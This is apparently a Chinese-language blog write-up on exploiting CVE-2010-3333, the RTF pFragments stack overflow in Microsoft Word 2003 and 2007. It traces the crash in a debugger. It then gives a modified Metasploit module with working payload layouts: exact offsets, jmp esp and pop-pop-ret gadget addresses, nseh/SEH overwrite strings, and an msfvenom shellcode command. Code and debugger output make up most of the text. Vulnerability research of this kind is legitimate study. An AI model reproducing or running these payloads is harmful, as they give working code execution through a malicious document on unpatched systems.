环境
- Windows XP SP3中文版
- Immunity Debugger
- Office Word 2003中文版 (WINWORD.exe 11.05604)
- Office Word 2007中文版
漏洞分析
打开word 2003,用Immunity Debugger attach进程,此时在word中打开poc.rtf,程序在30e9eb88处crash了。
用!mona info -a edi
查看00130000的信息,发现它是只读的,所以程序是写到了只读地址导致了崩溃。
在30e9eb88处下断点,重新来一遍。断下看看复制之前的情况:
30E9EB88 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
esi指向一大段字符串,edi是栈上的地址,ecx=0x322b
exc的值之前经过了右移操作,可以算出本来的值是0xc8ac(后面会提到这个值来自样本)
f9会从esi往edi复制4个字节,ecx减1,按几次看看数据变化,之后f8执行完这一行,程序崩溃,此时ecx=13000,所以栈上从0012a2c4到0012ffff的区域都被覆盖了,显然并没有检查阻止栈溢出的发生。
查看seh的情况,也被覆盖了
此时有两种利用思路,覆盖某个返回地址或者覆盖seh&nseh。
覆盖返回地址
在溢出点断下,看调用栈:
分析得出调用链
1
|
vuln_parent(30F4CC54) -> vuln_func(30E9EB62) --> 溢出点
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
;; vuln_func
30E9EB62 57 PUSH EDI
30E9EB63 8B7C24 0C MOV EDI,DWORD PTR SS:[ESP+C] # edi来源于第二个参数
30E9EB67 85FF TEST EDI,EDI
30E9EB69 74 27 JE SHORT mso.30E9EB92
30E9EB6B 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
30E9EB6F 8B48 08 MOV ECX,DWORD PTR DS:[EAX+8]
30E9EB72 81E1 FFFF0000 AND ECX,0FFFF
30E9EB78 56 PUSH ESI
30E9EB79 8BF1 MOV ESI,ECX
30E9EB7B 0FAF7424 14 IMUL ESI,DWORD PTR SS:[ESP+14]
30E9EB80 0370 10 ADD ESI,DWORD PTR DS:[EAX+10]
30E9EB83 8BC1 MOV EAX,ECX
30E9EB85 C1E9 02 SHR ECX,2
30E9EB88 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] # 溢出点
|
1
2
3
4
5
6
7
8
9
10
|
;; vuln_parent
30F4CC54 8365 F8 00 AND DWORD PTR SS:[EBP-8],0
30F4CC58 ^E9 60FFFFFF JMP mso.30F4CBBD
....
30F4CC86 8D4D F0 LEA ECX,DWORD PTR SS:[EBP-10] # ECX来源于ebp-10
30F4CC89 51 PUSH ECX #vuln_func的第二个参数
30F4CC8A BB 00000005 MOV EBX,5000000
30F4CC8F 56 PUSH ESI #vuln_func的第一个参数
30F4CC90 895D F4 MOV DWORD PTR SS:[EBP-C],EBX
30F4CC93 FF50 1C CALL DWORD PTR DS:[EAX+1C] # 此处调用30E9EB62(vuln_func)
|
追溯到复制时的目的地址edi来源于vuln_parent中的ebp-10,所以只要复制数据长度达到0x14就可以覆盖到vuln_parent函数的返回地址。
大体思路就是这样,后面就是构建和调试exp了。
在metasploit里搜索CVE-2010-3333找到windows/fileformat/ms10_087_rtf_pfragments_bof
这个模块,我用它生成样本但没有利用成功,于是找到模块对应文件/opt/metasploit-framework/embedded/framework/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
来调试,注意修改文件后要在msf中reload一下才能生效。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# RTF property Array parameters
el_size = sz_rand() # el_size和el_count都是[0,1,3,7]中的随机一个数
el_count = sz_rand()
data = ''
# These words are presumably incorrectly used
# assert(amount1 <= amount2)
data << [0x1111].pack('v') * 2
data << [0xc8ac].pack('v') # 这个0xc8ac是复制的长度,ecx移位之前的值
# Craft the array for the property value
sploit = "%d;%d;" % [el_size, el_count]
sploit << data.unpack('H*').first
sploit << rest.unpack('H*').first # !!! 复制时esi指向字符串的就是rest的内容
# Assemble it all into a nice RTF
content = "{\\rtf1"
content << "{\\shp" # shape
content << "{\\sp" # shape property
content << "{\\sn pFragments}" # property name
content << "{\\sv #{sploit}}" # property value
content << "}"
content << "}"
content << "}"
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(content) # content就是文件内容
|
上面在注释中标明了文件内容的组成,我们要修改的就是rest这个字符串和0xc8ac这个复制长度,因为我们这里想做的是覆盖返回地址,并不希望复制太长访问到非法地址,但也不用太精确,确保shellcode被复制进去就ok了。
前面我们已经分析好了偏移是0x14,这里按长度填充就好。
用mona找一个jmp_esp的rop gadget:
1
2
|
!mona config -set workingfolder c:\monalogs\%p_%i # 设定工作目录,后面运行命令会把结果输出到log文件里面,方便搜索
!mona jmp -r esp
|
最后是这样的:
1
2
3
4
5
6
|
data << [2000].pack('v') # 复制长度
# jp_esp = 0x302cc4f5 # push esp;retn 8;
jp_esp = 0x300d9359 # jmp esp
# jp_esp = 0x42424242
# rest = "\x00"*5*4+ [jp_esp].pack('V')+Rex::Text.pattern_create(24)
rest = "A"*0x14+ [jp_esp].pack('V')+"\x00"*5*4 + "\x90"*4*4 +shellcode # this works!
|
这里调试的时候遇到个坑,我开始选了个push esp;retn 8;
的gadget (mona在终端输出的是简略信息,我以为没找到jmp esp),后面发现程序能执行到shellcode,但是过一会就崩溃了,而换成jmp esp
后就能成功运行。
我对比了一下,两种情况的区别就是retn 8会从栈上弹出8bytes数据,我当时填充的’\x90’数量不够,eip指向shellcode的时候esp也指向shellcode,而后一种情况eip指向shellcode的时候esp要小一点。
搜索发现了这个链接 , 大致意思就是由于shellcode是用msfvenom生成的,会经过编码,在getpc的过程中需要栈空间,所以多填充nop就能解决这个问题,至于shellcode本身这里就没研究了。
1
|
msfvenom -p windows/exec CMD="calc.exe" -b '\x00\x0A' --format ruby
|
覆盖seh
在溢出点之前断下,看seh的信息:
可以看到seh的地址是0012f904,而我们覆盖的范围一直能到0012ffff,所以是能覆盖到的。
覆盖seh链的利用套路是这样的:
- 找一个
pop;pop;ret;
的gadget(简称为ppr)
- 覆盖nseh为
\xEB\x06
,即跳转6个bytes
- 覆盖seh为1中的ppr地址
- 程序进入异常处理后先执行seh中的指令,之后跳转执行nseh,最后往前跳转到shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A' #
# #
# (2) nseh = '\xEB\x06' => jump short 6-bytes #
# (1) seh = 0x61617619 : pop esi # pop edi # ret #
# (3) shellcode space = 1384-bytes #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure: #
# \----------------> #
# [AAA..................AAA] [nseh] [seh] [BBB..................BBB] #
# \--------------------------------------> #
# <-------/ #
# (1) Initial EIP overwrite, SEH leads us back 4-bytes to nSEH #
# (2) nSEH jumps over SEH and redirects execution to our B's #
# (3) We place our shellcode here ... Game Over! #
#----------------------------------------------------------------------------------#
|
ppr可以用mona来找:!mona seh
,再算下偏移
1
2
3
4
|
data << [0xc8ac].pack('v') # 这里希望程序crash掉进入错误处理逻辑,所以用一开始的长度
nseh = "\xeb\x06\x90\x90"
seh = [0x31055dff].pack('V') # pop; pop; retn 2003 seh works!
rest = "A"*0x5650 + nseh + seh + "\x90"*4*10 + scode # 2003 seh works!
|
win2007
在win2007中情况基本类似,我把前面覆盖seh的poc稍微改一下就利用成功了,就不多说了
1
2
|
seh = [0x7347d7b3].pack('V')
rest = "A"*0x1744 + nseh + seh + "\x90"*4*10 + scode # 2007 seh
|
参考